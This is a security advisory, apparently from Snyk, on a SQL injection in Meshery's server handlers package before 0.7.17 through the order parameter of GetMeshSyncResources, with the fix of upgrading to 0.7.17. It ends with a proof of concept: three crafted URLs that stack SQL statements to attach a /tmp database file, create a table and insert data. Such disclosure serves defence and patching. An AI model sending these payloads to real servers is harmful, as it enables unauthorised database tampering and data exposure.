SQL Injection Affecting github.com/layer5io/meshery/server/handlers package, versions <0.7.17


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (15th percentile)

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  • Snyk ID SNYK-GOLANG-GITHUBCOMLAYER5IOMESHERYSERVERHANDLERS-6481146
  • published 22 Mar 2024
  • disclosed 21 Mar 2024
  • credit Tony Torralba

How to fix?

Upgrade github.com/layer5io/meshery/server/handlers to version 0.7.17 or higher.

Overview

github.com/layer5io/meshery/server/handlers is a collection of handlers (aka "HTTP middleware") for Meshery

Affected versions of this package are vulnerable to SQL Injection due to the order parameter of GetMeshSyncResources. An attacker can obtain sensitive information by manipulating the input to the order parameter.

PoC

http://(server):9081/api/system/meshsync/resources?order=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/system/meshsync/resources?order=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/system/meshsync/resources?order=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--